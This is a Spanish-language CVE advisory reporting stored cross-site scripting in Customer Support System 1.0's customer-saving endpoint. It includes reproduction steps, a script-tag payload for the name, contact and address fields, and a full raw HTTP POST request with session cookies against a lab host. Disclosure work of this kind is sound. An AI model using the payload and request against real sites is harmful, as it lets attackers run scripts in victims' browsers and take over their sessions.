CVE-2023-51281

Customer Support System 1.0 - Vulnerabilidad de Cross-Site Scripting (XSS) Múltiple en los parámetros “firstname”, "lastname", "middlename", "contact" o “address”

Descripción: Múltiples vulnerabilidades de Cross-Site Scripting (XSS) en /customer_support/ajax.php?action=save_customer en Customer Support System 1.0 permiten a atacantes autenticados ejecutar scripts web arbitrarios o HTML a través de un payload manipulado inyectado en los parámetros “firstname”, "lastname", "middlename", "contact" o “address”.

Versión del producto vulnerable: Customer Support System 1.0
Autor del CVE: Geraldo Alcântara
Fecha: 28/11/2023
Confirmado el: 22/12/2023
CVE: CVE-2023-51281
Probado en: Windows

Pasos para reproducir:

1. Inicie sesión en la aplicación.
2. Navegue a "/customer_support/index.php?page=customer_list" para editar un cliente existente o "/customer_support/index.php?page=new_customer" para crear un nuevo cliente.
3. En las páginas de edición de clientes, inserte un payload cuidadosamente manipulado en los parámetros firstname, lastname, middlename, contact o address.
4. Payload: </dt></b><script>alert(document.domain)</script>

Solicitud:

POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3

-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"

teste</dt></b><script>alert(document.domain)</script>
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="middlename"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="contact"

210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"

asdasd
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="password"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="cpass"

xss
-----------------------------212391604122778812451614149575--

Descubridor(es)/Créditos:
Geraldo Alcântara